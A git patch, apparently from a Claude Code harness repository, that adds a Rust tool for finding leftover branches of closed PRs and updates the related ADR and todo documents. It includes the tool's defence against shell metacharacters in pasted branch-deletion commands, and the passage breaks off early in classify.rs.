From 17a14cd5991cda46dbb93c331cfec47e00e7b8c1 Mon Sep 17 00:00:00 2001 From: aloekun Date: Sun, 9 Aug 2026 20:07:20 +0900 Subject: [PATCH] =?UTF-8?q?feat(weekly-review):=20=E3=82=AF=E3=83=AD?= =?UTF-8?q?=E3=83=BC=E3=82=BA=E6=B8=88=E3=81=BF=20PR=20=E3=81=AE=E6=AE=8B?= =?UTF-8?q?=E5=AD=98=E3=83=96=E3=83=A9=E3=83=B3=E3=83=81=E3=82=92=E6=B1=BA?= =?UTF-8?q?=E5=AE=9A=E8=AB=96=E7=9A=84=E3=81=AB=E6=A4=9C=E5=87=BA=E3=81=97?= =?UTF-8?q?=E5=89=8A=E9=99=A4=E3=82=92=E6=8F=90=E6=A1=88=E3=81=99=E3=82=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit todo 順位 395。クローズ済み PR #365 のブランチを手で消したことで ADR-072 決定 3 の 除外マーカーが失われ、同じ順位が再選択された (PR #373)。決定 3 自体は設計どおりで、 ブランチの存在が着手済みマーカーである以上、浮いたブランチを定期的に片付ける場が要る。 **takt workflow には置けない。** 検出には git ls-remote / gh = ネットワークが要るが、 weekly-review.yaml は全 provider に network_access: false を課している (他 3 パイプラインは true)。1 つの scan のためにこれを反転すると whole-tree review 6 facet すべての隔離が 緩むため、/monthly-review が cli-telemetry-report を呼ぶのと同じく skill 側 (ADR-031 の L3 = 決定論層) に置いた。置き場所の判断基準 (ネットワークが要るか) を ADR-031 へ記録。 判定規則: - 紐づく PR がすべて closed/merged → 削除候補 - open が 1 本でもある → 対象外 (close 後に別 PR を開く / reopen が実在する) - PR が 1 件も無い → 対象外 (PR 未作成の作業中ブランチと区別できない) - trunk は常に対象外 / claude/nightly-* は除外しない (除外すると順位が二度と選ばれない) - state が未知の値 → open 扱い (保護側。誤って削除提案に載せない) **PR は全件引かずブランチごとに --head で引く。** 総 PR 数は単調増加する一方、remote ブランチ数は運用上小さく有界。全件方式は実装中に実際に破綻した (本リポジトリは PR が 300 件を超えており、書いた時点で既に上限に張り付いていた)。 **削除はしない。** 出力は人間がそのまま貼れる git push --delete までで、exe は実行 しない (ADR-022 / ADR-028)。ブランチ削除は外部可視かつ着手済みマーカーの破棄でもある。 **出力に wall-clock を含めない。** 同じ状態なら同じ出力にして週次 diff を取れるようにし、 「今週新たに浮いたブランチ」だけを読めるようにした。実行時刻は呼び手が記録する。 - 新規 crate src/cli-stale-branch-scan (classify = 純粋判定 / collect = fail-closed I/O) - unit test 25 件。取得失敗・上限到達・欠損フィールドはすべて Err に倒し、0 件と報告しない - pnpm stale-branch-scan / build:cli-stale-branch-scan (build:all にも登録) - ADR-031 に § 残存ブランチ検出 と L2/L3 の置き場所判断基準を追記 実走: 本リポジトリで削除候補 0 件、open PR 3 本 (#320/#324/#373) を正しく対象外と判定。 weekly-review skill (別リポジトリ claude-code-skills) 側の Step 1.0 / Phase 3 追記は 本 PR に含まれない。編集は済んでいるがコミットは未実施。 --- pre-push review 対応 --- security REJECT (High, SEC-NEW-cli-stale-branch-scan-main-L154): git の ref 名規則は `;` バッククォート `|` `$()` を許す (git check-ref-format で実測)。push 権限を持つ誰か (夜間/cloud harness の自動化を含む) が細工したブランチ名は、本レポートが設計として 出す「そのまま貼れる削除コマンド」経由でコピペ実行時に任意コマンドを実行し得る。 安全文字の allowlist を導入し、外れる名前には削除コマンドを生成しない。 **指摘の修正範囲は狭かったので広げた。** 同じブランチ名は削除提案表の 1 列目と 参考表 2 つにも出るため、コマンド欄だけ塞いでもバッククォート (コードスパン脱出) と `|` (表の列構造破壊) が残る。描画の全経路を単一の branch_cell() へ通し、危険文字を `?` へ潰したうえで印を付ける形にした。出口ごとに個別対策を足すと出口が増えたときに 同じ穴が空くため、安全文字集合の定義は 1 箇所に保つ。 simplicity (SIM-NEW-cli-stale-branch-scan-classify-L283): trunk 名を独自 hardcode して おり lib_jj_helpers::TRUNK_BOOKMARKS からずれて develop/trunk を守れていなかった。 is_trunk_bookmark 呼び出しに変更し、push-runner-config.toml の default_branch も 追加の保護対象として読む。 test 30 件 (危険文字が 3 表いずれにも生で出ないことの回帰固定を含む)。 workspace 全体 2,000 pass / clippy clean / lint 0 error。 --- pre-push review 2 巡目 --- simplicity needs_fix (High, SIM-NEW-cli-stale-branch-scan-main-L121): configured_trunk_branch() が top-level default_branch しか読まないが、本リポジトリの push-runner-config.toml は top-level をコメントアウトし [pr_size_check] / [docs_only_routing] の section override だけで trunk 名を決めている (ADR-051 の cross-config coupling)。master は TRUNK_BOOKMARKS に含まれるため masked だが、標準外の trunk 名を section override だけで設定している リポジトリでは None に落ち、trunk が削除候補として貼れるコマンド付きで出得た。 cli-push-runner の effective_default_branch() と同じ top-level → section fallback へ修正。 **実 config に対する回帰テストを追加した** (--ignored)。既存 5 件は合成 TOML で分岐を 固めるだけで、指摘の起点だった「このリポジトリの実 config が section override 構成で ある」事実を突いていない。実ファイルの構成が変わって解決不能になっても合成テストは 気づけないため、実ファイルから "master" が解決できることを値まで assert する。 test 36 件 (うち 1 件は cwd 依存の --ignored)。workspace 全体 2,005 pass / clippy clean。 --- CodeRabbit レビュー対応 (#377、3 件) --- - ADR-031 に L3 skill の所在を明記。skill は本リポジトリではなく skills repo ($CLAUDE_SKILLS_REPO) にあり ~/.claude/skills/ へ deploy する構成 (ADR-062 の /monthly-review と同じ)。ADR がそれを書いていなかったため「ADR は L3 を定義して いるが実装が無い」と読めていた。各層の実体がどこにあるかの表を追加し、skill 側の 変更は PR diff に現れない帰結も明記した。 - ADR-031 の削除コマンドを実装に合わせて `--delete -- ` へ修正。あわせて 「貼れるコマンドである以上ブランチ名は攻撃面」という設計理由 (-- 区切りと allowlist の 2 つの手当て) を ADR 側にも残した。実装だけが知っている状態を解消。 - gh 自体の失敗にもブランチ名を付ける。map_err が parse_pr_list の結果にしか 掛かっておらず、起動失敗 / timeout / 非ゼロ exit ではどのブランチで止まったか 分からなかった。最大 100 ブランチを順に回すため fail-closed 停止後の切り分けが 効かない。実行層を closure で受ける形にし、失敗経路をネットワーク無しで固定する 回帰テストを 3 件追加。 test 40 件 (うち --ignored 1)。workspace 全体 2,009 pass / clippy clean / lint 0 error。 --- Cargo.lock | 11 + Cargo.toml | 1 + docs/adr/adr-031-weekly-review-pipeline.md | 55 ++- docs/harness-improvement-plan.md | 2 +- docs/todo-summary2.md | 1 - docs/todo21.md | 35 +- package.json | 4 +- src/cli-stale-branch-scan/Cargo.toml | 17 + src/cli-stale-branch-scan/src/classify.rs | 291 ++++++++++++ src/cli-stale-branch-scan/src/collect.rs | 306 ++++++++++++ src/cli-stale-branch-scan/src/main.rs | 521 +++++++++++++++++++++ 11 files changed, 1207 insertions(+), 37 deletions(-) create mode 100644 src/cli-stale-branch-scan/Cargo.toml create mode 100644 src/cli-stale-branch-scan/src/classify.rs create mode 100644 src/cli-stale-branch-scan/src/collect.rs create mode 100644 src/cli-stale-branch-scan/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index 120bca63..7614a10f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -203,6 +203,17 @@ dependencies = [ "toml", ] +[[package]] +name = "cli-stale-branch-scan" +version = "0.1.0" +dependencies = [ + "lib-jj-helpers", + "lib-subprocess", + "serde", + "serde_json", + "toml", +] + [[package]] name = "cli-takt-timings" version = "0.1.0" diff --git a/Cargo.toml b/Cargo.toml index 9b474573..0671b32f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -28,6 +28,7 @@ members = [ "src/cli-nightly-task-select", "src/cli-pr-monitor", "src/cli-push-runner", + "src/cli-stale-branch-scan", "src/cli-takt-timings", "src/cli-telemetry-report", "src/hooks-post-tool-comment-lint-rust", diff --git a/docs/adr/adr-031-weekly-review-pipeline.md b/docs/adr/adr-031-weekly-review-pipeline.md index 41433447..1b2c9da2 100644 --- a/docs/adr/adr-031-weekly-review-pipeline.md +++ b/docs/adr/adr-031-weekly-review-pipeline.md @@ -129,7 +129,33 @@ must-run でないことが「skill を主動線に置ける」設計上の余 |---|------|-----|------------| | **L1 Reminder** | `hooks-session-start` (Rust) 拡張 | `.claude/weekly-review-last-run.json` の `last_run_at` を見て、7 日以上経過していれば `additionalContext` で `/weekly-review` を促す。`last_run_at` が無い旧/破損データは stale 扱い (発火) にして次回更新で移行 (mtime にはフォールバックしない) | reminder 不在 (致命的でない、ユーザーが気付けば実行) | | **L2 Review** (AI parallel) | takt workflow `weekly-review` | 5 facets (simplicity / security / architecture / todo / jj-robustness) + 決定論的 file-size scan を **whole-tree** で並列レビュー、aggregate step で findings JSON + markdown 統合 | `.claude/weekly-reviews/.md.failed` marker 残存 → 次セッションの L1 hook が recovery context を出力 | -| **L3 Approval & Apply** | skill `/weekly-review` | takt 起動 → pending JSON 読み込み → AskUserQuestion で採否一括選択 → 採用分のみ docs/todo.md に追記 | best-effort (ユーザーが skill を再起動すれば pending JSON から再開可能) | +| **L3 Approval & Apply** | skill `/weekly-review` | **決定論 scan (`pnpm stale-branch-scan`) の同期実行** → takt 起動 → pending JSON 読み込み → AskUserQuestion で採否一括選択 → 採用分のみ docs/todo.md に追記 | best-effort (ユーザーが skill を再起動すれば pending JSON から再開可能) | + +#### 各層の実体がどこにあるか + +**L3 (skill) だけ本リポジトリの外にある。** レビューで「ADR は L3 の実装を定義しているがリポジトリに skill ファイルが無い」と指摘されたため明記する ([PR #377](https://github.com/aloekun/claude-code-hook-test/pull/377))。 + +| 層 | 実体の所在 | VCS | +|---|---|---| +| L1 Reminder | `src/hooks-session-start/` | 本リポジトリ | +| L2 Review | `.takt/workflows/weekly-review.yaml` + `.takt/facets/instructions/*` | 本リポジトリ | +| L2 外の決定論 scan | `src/cli-stale-branch-scan/` (`pnpm stale-branch-scan`) | 本リポジトリ | +| **L3 Approval & Apply** | **skills repo (`$CLAUDE_SKILLS_REPO`) の `weekly-review/SKILL.md`** を `~/.claude/skills/` へ deploy | **別リポジトリ** | + +skill を別リポジトリに置く構成は [ADR-062](adr-062-monthly-harness-roi-review.md) (`/monthly-review`) と同じで、本 ADR に固有の判断ではない。**帰結として、skill 側の変更は本リポジトリの PR diff に現れない** — L2/L3 をまたぐ変更をするときは、両リポジトリの更新が揃っているかを人間が確認する必要がある (自動で照合する仕組みは無く、`/skill-sync-check` が手動の確認手段)。 + +#### L2 に置けない決定論 scan は L3 が直接呼ぶ (2026-08-09 追記、順位 395) + +**takt workflow (L2) はネットワークを持たない。** [weekly-review.yaml](../../.takt/workflows/weekly-review.yaml) は全 provider に `network_access: false` を課しており、他 3 パイプライン (`pre-push-review` / `post-pr-review` / `post-merge-feedback`) が `true` なのと意図的に異なる — whole-tree の 6 facet はローカルのソースツリーだけを読めばよく、外部へ出ないことが隔離として効いている。 + +そのため **`git ls-remote` / `gh` を要する決定論 scan は L2 に置けない**。1 つの scan のために `network_access: true` へ反転すると、**6 facet すべての隔離が同時に緩む**からである。代わりに L3 (skill) が takt 起動の前に決定論 exe を同期実行し、その出力を findings と並べて採否にかける。`/monthly-review` が `cli-telemetry-report` を同期実行する形 ([ADR-062](adr-062-monthly-harness-roi-review.md)) と同じ配置になる。 + +**判断基準**: 決定論 scan の置き場所は「ネットワークが要るか」で決まる。 + +| 条件 | 置き場所 | 例 | +|---|---|---| +| ローカルファイルだけで完結 | **L2** の parallel step (`file-length-watchlist` 型) | `.rs` 行数 / `todo*.md` バイト数 | +| ネットワーク (`gh` / `git ls-remote` / API) が要る | **L3** が takt 起動前に同期実行 | 残存ブランチ検出 (`cli-stale-branch-scan`) | ### 全体フロー @@ -176,6 +202,33 @@ skill /weekly-review (Phase 1-4) | `file-length-watchlist` | 決定論的 file-size scan (`.rs` 800 行 + `todo*.md` 50KB)。LLM 判断ゼロの機械観測 | PR-W0 拡張 (順位154) | | `aggregate-weekly` | 6 reports → findings JSON + markdown (採否単位の構造化) | `aggregate-feedback.md` を参考 | +**workflow の外にもう 1 つ決定論 scan がある**: 残存ブランチ検出 (`cli-stale-branch-scan`、順位 395) は `gh` / `git ls-remote` を要するため本 workflow には入らず、L3 の skill が takt 起動前に実行する (§ アーキテクチャ の「L2 に置けない決定論 scan」)。 + +### 残存ブランチ検出 (`cli-stale-branch-scan`、2026-08-09 追加、順位 395) + +**由来**: クローズ済み PR [#365](https://github.com/aloekun/claude-code-hook-test/pull/365) のブランチを手で消したことで [ADR-072](adr-072-nightly-todo-loop.md) 決定 3 の除外マーカーが失われ、同じ順位が再選択された。決定 3 自体は設計どおりで、**ブランチの存在が着手済みマーカー**である以上、浮いたブランチを定期的に片付ける場が要る。 + +**判定規則**: remote ブランチ 1 本ごとに、それを head とする PR を全状態で引き、 + +- **すべて closed / merged** → 削除候補 (提案対象) +- **open が 1 本でもある** → 対象外。close 後に別 PR を開く / reopen する形が実在するため、閉じた側だけを見て消す提案を出さない +- **PR が 1 件も無い** → 対象外。まだ PR を開いていない作業中のブランチと区別できない +- **trunk (`master` / `main` / `HEAD`)** → 常に対象外 +- **`claude/nightly-*` を除外しない** (2026-08-09 ユーザー判断)。除外すると夜間 PR のブランチが永久に残り、同じ順位が二度と選ばれなくなる + +state が未知の値だった場合は **open と同じ扱い (保護側)** にする。GitHub が state を追加したときに、解釈できない PR を持つブランチが「PR 無し」と誤判定されて削除提案に載るのが最悪の失敗だから。 + +**PR は全件引かずブランチごとに引く**。総 PR 数は単調増加する一方、remote ブランチ数は運用上小さく有界である。全件方式は取得上限の保守を延々と生み、上限に張り付いた瞬間 fail-closed で scan 自体が止まる — **実装中に実際に踏んだ** (本リポジトリは PR が 300 件を超えており、全件方式は書いた時点で既に使えなかった)。 + +**削除は提案までで止める** ([ADR-022](adr-022-automation-responsibility-separation.md) / [ADR-028](adr-028-pnpm-create-pr-gate.md))。出力に含めるのは人間がそのまま貼れる `git push origin --delete -- ` であって、exe は実行しない。ブランチ削除は外部可視で、しかも**着手済みマーカーの破棄**でもあるため ([ADR-072](adr-072-nightly-todo-loop.md) 決定 3)、判断を自律 actor に渡さない。 + +**貼れるコマンドである以上、ブランチ名は攻撃面になる。** git の ref 名規則は `;` / バッククォート / `|` / `$()` を許し (`git check-ref-format` で実測)、`--force` のような `-` 始まりも有効な ref 名である。したがって出力側で 2 つの手当てを打つ: + +- **`--` 区切りを必ず挟む**。これが無いと `-` 始まりのブランチ名が `git push` のフラグとして解釈される +- **安全文字 (`[A-Za-z0-9._/-]`) の allowlist から外れる名前には、そもそも貼れるコマンドを生成しない**。ブランチ名は 3 つの表すべてに出るため、無害化は描画の全経路で共通の関数を通す (出口ごとに個別対策を足すと、出口が増えたときに同じ穴が空く) + +**出力に wall-clock を含めない**。同じリポジトリ状態なら同じ出力になるようにしてあり、週次で前回分と diff を取れば「今週新たに浮いたブランチ」だけが読める。時刻を混ぜると毎回全行が差分になる。実行時刻は呼び手 (skill / weekly report) が記録する。 + **並列構成**: 5 review facets + 決定論的 file-size scan (計 6) を `parallel:` block で並列実行し、`aggregate-weekly` で統合する。これは [post-merge-feedback.yaml](../../.takt/workflows/post-merge-feedback.yaml) の構造を流用する (analyze 並列 → aggregate)。fix loop は不要 (修正対象がコードではなく findings レポート生成)。 ### 入力源 diff --git a/docs/harness-improvement-plan.md b/docs/harness-improvement-plan.md index e9c275e1..84d897ba 100644 --- a/docs/harness-improvement-plan.md +++ b/docs/harness-improvement-plan.md @@ -173,7 +173,7 @@ Anthropic 公式のハーネスエンジニアリング指針(決定論的基 | **スモーク未確定 3 件のうち (c) `cargo` サブプロセスへのトークン露出**(順位 374 の残り。**意図的保留** — 初版 probe の設計欠陥を解消した安全な probe を設計してから 1 回で観測。ADR-072 決定 5 の Bash 再付与判断の材料でもある) | ADR-072 § 残課題 | 急がない(Bash 非付与が保守側)。**完走条件には含めない** | | **採用率 2 週間測定**(WP 全体の受け入れ基準。人間がマージした割合 50% 超で継続・拡大 — 参考値であり統計的意味は無い、ADR-072 § 欠点)。測定は weekly-review の自律アクション棚卸し(WP-19 ステップ 3)へ載せて仕組み化。**開始起点 = スモーク完走後(2026-08-09 ユーザー決定)**。完走の定義を順位 394 の実走確認(PR に CodeRabbit の初回自動レビューが付くこと)までとし、意図的保留のトークン露出は完走条件に含めない | ADR-072 § 試験運用判断基準 | 2026-11-06 までに判定 | | 稼働後 1 週間の run 頻度・Max 枠消費を観測して schedule 頻度を調整 | 運用ノート(本表のみ) | 稼働中 | -| **順位 395: 週次レビューで浮きブランチを検出し削除を提案** — 判定は現行の branch 単一ソース(`git ls-remote`)を維持し、滞留(最大 7 日程度)は許容する。`claude/nightly-*` も対象に含める。自動削除はしない | [todo21.md](todo21.md) | 🔧 Tier 2、WP-19 ステップ 3 の一部先取り | +| ~~順位 395: 週次レビューで浮きブランチを検出し削除を提案~~ → **実装完了(2026-08-09)**。`cli-stale-branch-scan` / `pnpm stale-branch-scan`。設計と判定規則は [ADR-031](adr/adr-031-weekly-review-pipeline.md) § 残存ブランチ検出 が正。自動削除はしない(提案のみ) | [ADR-031](adr/adr-031-weekly-review-pipeline.md) | 完了。WP-19 ステップ 3 の一部を先取り済み | | 順位 382(injection payload regression test。依存先の順位 380 完了で unblock)/ 順位 383(`is_separator_row` のパイプ検証欠落) | [todo-summary2.md](todo-summary2.md) | 🔧 Tier 2、任意 | | 順位 375-377(レビュー対応チェックリスト / push-runner bookmark 前進 / 防御の格上げ判断) | [todo-summary2.md](todo-summary2.md) | 🔧 2〜💎 3、WP-18 完了後 | diff --git a/docs/todo-summary2.md b/docs/todo-summary2.md index 9bcdad47..a9c4029a 100644 --- a/docs/todo-summary2.md +++ b/docs/todo-summary2.md @@ -143,7 +143,6 @@ | 390 | 🔧 Tier 2 | **台帳 framing 区切りの定数と workflow リテラルの cross-file 一致を CI 検証 (#369 T2 採用)** | todo21.md | M | なし (LEDGER_DATA_FRAME_MARKER と ===BEGIN/END_LEDGER_DATA=== が対。片側変更で ADR-072 決定 13 の framing が破れる) | | 391 | 🔧 Tier 3 | **jj の落とし穴 (squash 方向・空コミットでの bookmark ずれ) を dev-conventions へ (#369 T3 採用)** | todo21.md | S | なし (本セッションで複数回踏んだ。コミット確定は describe+bookmark set、new は新作業時のみ、を明文化) | | 392 | 🔧 Tier 3 | **push パイプラインの terminal outcome を telemetry へ記録し失敗回数・原因を機械集計可能にする** | todo21.md | M | なし (2026-08-09 WP-18 失敗頻度分析で構造化記録の欠落が判明。stage + reason code を ADR-055 系へ fail-open で追記し ADR-062 月次で集計。順位 386/387/376 の効果測定ベースラインにもなる) | -| 395 | 🔧 Tier 2 | **週次レビューで浮きブランチを検出し削除を提案する** | todo21.md | S-M | なし (2026-08-09 の手動ブランチ削除で ADR-072 決定 3 の除外マーカーが消え順位 203 が再選択された。判定は branch 単一ソースのまま維持し、滞留を週次で解消する) | | 396 | 🔧 Tier 2 | **hooks smoke suite の並列実行が Linux で `ETXTBSY` を起こす** | todo21.md | S | なし (#376 CI で ubuntu のみ失敗、windows は成功、当該クレートは無変更。2 テストが並列に exe を copy→spawn し、fork した子が copy 側の書き込み fd を継承するため exec が Text file busy。直近 15 run で初出だが ADR-065 の両 OS matrix の信号品質を下げる) | **戦略**: Tier 1 を 2〜3 セッションで片付け → Tier 2 で ADR-032 の前提 + rate-limit + convergence cost 削減を進める → Tier 3 で ADR-032 を land + ドキュメント整備。Tier 4-5 は cleanup / 外部展開で daily efficiency への直接効果は小さい。 diff --git a/docs/todo21.md b/docs/todo21.md index 98f6da4a..16d402c9 100644 --- a/docs/todo21.md +++ b/docs/todo21.md @@ -215,40 +215,9 @@ > **由来**: 2026-08-09 に PR [#373](https://github.com/aloekun/claude-code-hook-test/pull/373) で実測した 2 件の観測から、ユーザー判断 (同日) を経て方針を確定したもの。**3 件は 1 本の根から出ている** — 夜間 PR を draft にしたことが CodeRabbit の自動レビュー対象外を招き、その回避策 ([ADR-072](adr/adr-072-nightly-todo-loop.md) 決定 11) が bot 投稿の無視で不成立になった。 > -> **順位 393 (記録の是正) と 394 (構造の是正) は実装済み・削除済み** (2026-08-09)。撤回記録は [ADR-072](adr/adr-072-nightly-todo-loop.md) 決定 11 の撤回ブロック、停止点変更は同 決定 15、背圧の指標改訂は [ADR-071](adr/adr-071-draft-pr-backpressure.md)、分類表の本体改訂は [ADR-052](adr/adr-052-autonomy-execution-boundary-classes.md) 原則 2 が正。**実走確認 (夜間 PR に CodeRabbit の初回自動レビューが付くこと) だけが残り**、計画書 WP-18 の残作業表と ADR-072 § 実走スモークが追跡する。 +> **順位 393 (記録の是正) と 394 (構造の是正) は実装済み・削除済み** (2026-08-09、PR [#376](https://github.com/aloekun/claude-code-hook-test/pull/376))。撤回記録は [ADR-072](adr/adr-072-nightly-todo-loop.md) 決定 11 の撤回ブロック、停止点変更は同 決定 15、背圧の指標改訂は [ADR-071](adr/adr-071-draft-pr-backpressure.md)、分類表の本体改訂は [ADR-052](adr/adr-052-autonomy-execution-boundary-classes.md) 原則 2 が正。**実走確認 (夜間 PR に CodeRabbit の初回自動レビューが付くこと) だけが残り**、計画書 WP-18 の残作業表と ADR-072 § 実走スモークが追跡する。 > -> 以下の 395 は独立 (ブランチ運用) だが同じセッションの観測に由来する。 - -### 週次レビューで浮きブランチを検出し削除を提案する - -> **動機**: 2026-08-09 に、クローズ済み PR [#365](https://github.com/aloekun/claude-code-hook-test/pull/365) のブランチを手動削除したことで [ADR-072](adr/adr-072-nightly-todo-loop.md) 決定 3 の除外マーカーが消え、同じ順位 203 が再選択された (PR #373)。**決定 3 自体は設計どおり動作している** — ブランチの存在が着手済みマーカーであり、それが人手で消えたことが原因。 -> -> **方針 (ユーザー判断 2026-08-09)**: 判定は現行の `git ls-remote` による **branch 単一ソースのまま維持する**。「クローズ済み PR も見る」案は判定ソースが 2 つになり、fail-closed の単純さ (一致なしでも exit 0 + 空出力で「0 件」と「取得失敗」を取り違えない) を崩すため**採らない**。代わりに浮きブランチを週次で片付け、放置によるタスク滞留を解消する。 -> -> - **`claude/nightly-*` も削除提案の対象に含める** (除外しない)。ブランチが残る間そのタスクが選べない期間 (最大 7 日程度) は許容する — 自動実行できる todo はほとんどが改善タスクで急がず、重要な todo はメインセッションで消化するため -> - **削除後の再挑戦も許容する**。現状のクローズは夜間ループの機能不全に起因するもので、正常動作後は採用方向の選択が多くなる見込み -> -> **対処案**: weekly-review に「クローズ済み PR の残存ブランチ」検出を追加する。既存の観点⑤ (`review-todo-whole` facet) へ相乗りさせるか決定論的 scan として持つかは実装時判断 ([ADR-031](adr/adr-031-weekly-review-pipeline.md) の構成に従う)。**削除の実行は提案までとし、自動削除はしない** ([ADR-022](adr/adr-022-automation-responsibility-separation.md) / [ADR-028](adr/adr-028-pnpm-create-pr-gate.md))。 -> -> **現状**: クローズ由来で残っている `claude/` ブランチは無い。`claude/nightly-203` は open な #373 のもの、`claude/cloudharness-e2e-validation-sptfc7` / `claude/select-next-task-a9aiam` は 7 月下旬から open のままの #320 / #324 のもの (これらは PR 自体の棚卸し対象)。 -> -> **参照**: [ADR-072](adr/adr-072-nightly-todo-loop.md) 決定 3、[ADR-031](adr/adr-031-weekly-review-pipeline.md) (weekly-review)、[ADR-022](adr/adr-022-automation-responsibility-separation.md)、WP-19 ステップ 3 (監査ループ — 本エントリはその一部を先取りする)。 -> -> **実行優先度**: 🔧 Tier 2 — Severity Low (滞留は最大 7 日で解消され、実害は選択機会の遅延のみ) / Frequency Low (週次) / Effort S-M / Adoption Risk Low (提案のみで自動削除しない)。 - -#### 作業計画 - -- [ ] クローズ済み PR の残存ブランチを列挙する検出を weekly-review に追加する -- [ ] `claude/nightly-*` を除外せず対象に含める (除外すると滞留が永続する) -- [ ] 削除は提案までとし、実行はユーザー承認を経ることを明示する -- [ ] WP-19 ステップ 3 (自律アクションの週次棚卸し) と重複しない形で載せる - -#### 完了基準 - -- 週次レビューがクローズ済み PR の残存ブランチを列挙し、削除を提案すること。 -- 自動削除を行わないこと (提案までで止まる)。 - ---- +> **順位 395 (週次レビューでの浮きブランチ検出) も実装済み・削除済み** (2026-08-09)。`cli-stale-branch-scan` として実装し、`pnpm stale-branch-scan` で実行する。設計は [ADR-031](adr/adr-031-weekly-review-pipeline.md) § 残存ブランチ検出 が正 — **takt workflow はネットワークを持たない** (`network_access: false`) ため決定論 scan を skill 側 (L3) に置いた経緯もそちらに記録した。 ## CI 安定性 (2026-08-09 登録) diff --git a/package.json b/package.json index fabcc86e..f59fd7c0 100644 --- a/package.json +++ b/package.json @@ -29,8 +29,9 @@ "build:cli-autonomy-gate": "cargo build --release -p cli-autonomy-gate && node scripts/deploy-artifacts.mjs cli-autonomy-gate", "build:cli-fix-push-gate": "cargo build --release -p cli-fix-push-gate && node scripts/deploy-artifacts.mjs cli-fix-push-gate", "build:cli-nightly-task-select": "cargo build --release -p cli-nightly-task-select && node scripts/deploy-artifacts.mjs cli-nightly-task-select", + "build:cli-stale-branch-scan": "cargo build --release -p cli-stale-branch-scan && node scripts/deploy-artifacts.mjs cli-stale-branch-scan", "build:hooks-settings": "node scripts/build-hooks-settings.mjs", - "build:all": "pnpm build:hooks-session-start && pnpm build:hooks-pre-tool-validate && pnpm build:hooks-post-tool-linter && pnpm build:hooks-post-tool-comment-lint-rust && pnpm build:hooks-post-tool-jj-op-verify && pnpm build:hooks-stop-quality && pnpm build:hooks-stop-feedback-dispatch && pnpm build:hooks-stop-tool-call-leak && pnpm build:hooks-user-prompt-feedback-recovery && pnpm build:cli-push-runner && pnpm build:cli-pr-monitor && pnpm build:cli-merge-pipeline && pnpm build:check-ci-coderabbit && pnpm build:cli-finding-classifier && pnpm build:cli-docs-lint && pnpm build:cli-takt-timings && pnpm build:cli-telemetry-report && pnpm build:cli-autonomy-gate && pnpm build:cli-fix-push-gate && pnpm build:cli-nightly-task-select && pnpm build:hooks-settings", + "build:all": "pnpm build:hooks-session-start && pnpm build:hooks-pre-tool-validate && pnpm build:hooks-post-tool-linter && pnpm build:hooks-post-tool-comment-lint-rust && pnpm build:hooks-post-tool-jj-op-verify && pnpm build:hooks-stop-quality && pnpm build:hooks-stop-feedback-dispatch && pnpm build:hooks-stop-tool-call-leak && pnpm build:hooks-user-prompt-feedback-recovery && pnpm build:cli-push-runner && pnpm build:cli-pr-monitor && pnpm build:cli-merge-pipeline && pnpm build:check-ci-coderabbit && pnpm build:cli-finding-classifier && pnpm build:cli-docs-lint && pnpm build:cli-takt-timings && pnpm build:cli-telemetry-report && pnpm build:cli-autonomy-gate && pnpm build:cli-fix-push-gate && pnpm build:cli-nightly-task-select && pnpm build:cli-stale-branch-scan && pnpm build:hooks-settings", "push": "node scripts/run-artifact.mjs cli-push-runner && node scripts/run-artifact.mjs cli-pr-monitor --monitor-only", "create-pr": "node scripts/run-artifact.mjs cli-pr-monitor", "mark-notified": "node scripts/run-artifact.mjs cli-pr-monitor --mark-notified", @@ -38,6 +39,7 @@ "check-ci": "node scripts/run-artifact.mjs check-ci-coderabbit", "takt-timings": "node scripts/run-artifact.mjs cli-takt-timings", "telemetry-report": "node scripts/run-artifact.mjs cli-telemetry-report", + "stale-branch-scan": "node scripts/run-artifact.mjs cli-stale-branch-scan", "autonomy-status": "node scripts/run-artifact.mjs cli-autonomy-gate --operation fix-push --config autonomy-config.toml", "prepare-pr-body": "node scripts/run-artifact.mjs cli-pr-monitor --prepare-pr-body", "prepare-pr-body:cleanup": "node scripts/run-artifact.mjs cli-pr-monitor --prepare-pr-body-cleanup", diff --git a/src/cli-stale-branch-scan/Cargo.toml b/src/cli-stale-branch-scan/Cargo.toml new file mode 100644 index 00000000..78a269a4 --- /dev/null +++ b/src/cli-stale-branch-scan/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "cli-stale-branch-scan" +version = "0.1.0" +edition = "2021" + +[dependencies] +# gh pr list --json の出力を読む。欠損フィールドを握り潰さないため Value 経由で明示的に検査する。 +serde_json = "1.0" +# push-runner-config.toml の default_branch を追加の trunk 保護対象として読む (TrunkConfig)。 +serde = { version = "1.0", features = ["derive"] } +toml = "0.8" +# 非 colocated / 並列 jj workspace でも gh が正しい repo を見るための GIT_DIR 注入 (ADR-045)。 +lib-jj-helpers = { path = "../lib-jj-helpers" } +# `git ls-remote` / `gh pr list` の timeout 付き実行 (SIM-NEW-cli-stale-branch-scan-collect-L89)。 +lib-subprocess = { path = "../lib-subprocess" } + +# [profile.release] は workspace root (Cargo.toml) に集約 (ADR-026) diff --git a/src/cli-stale-branch-scan/src/classify.rs b/src/cli-stale-branch-scan/src/classify.rs new file mode 100644 index 00000000..e08dde53 --- /dev/null +++ b/src/cli-stale-branch-scan/src/classify.rs @@ -0,0 +1,291 @@ +//! 残存ブランチ判定の純粋コア (順位 395、ADR-031 の機械層)。 +//! +//! I/O を一切行わない。`git ls-remote` / `gh pr list` の実行と出力パースは [`crate::collect`] +//! が担い、本 module は読み取り済みの値だけを受け取って分類する。 +//! +//! # なぜ「数える主体」と「判断する主体」を分けるか +//! +//! [ADR-067](../../../docs/adr/adr-067-phase-b-unattended-fix-push.md) / ADR-071 § 決定 4 と +//! 同型。外部コマンドに依存しない純関数にしておけば、GitHub 到達性・認証・実データの状態に +//! 依らず境界条件をテストで固定できる。実運用で踏むのは「PR が複数ある」「reopen された」 +//! のような組み合わせで、それらは実 API を叩かずに再現したい。 + +/// PR の状態。`gh pr list --json state` の値に対応する。 +/// +/// **未知の値は [`PrState::Unknown`] へ落とし、`Open` と同じ扱い (= 保護側) にする。** +/// GitHub が state を追加したときに、解釈できない PR を持つブランチが「PR 無し」と誤判定 +/// されて削除提案に載るのが最悪の失敗なので、曖昧さは残す側へ倒す。 +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub enum PrState { + Open, + Closed, + Merged, + Unknown, +} + +impl 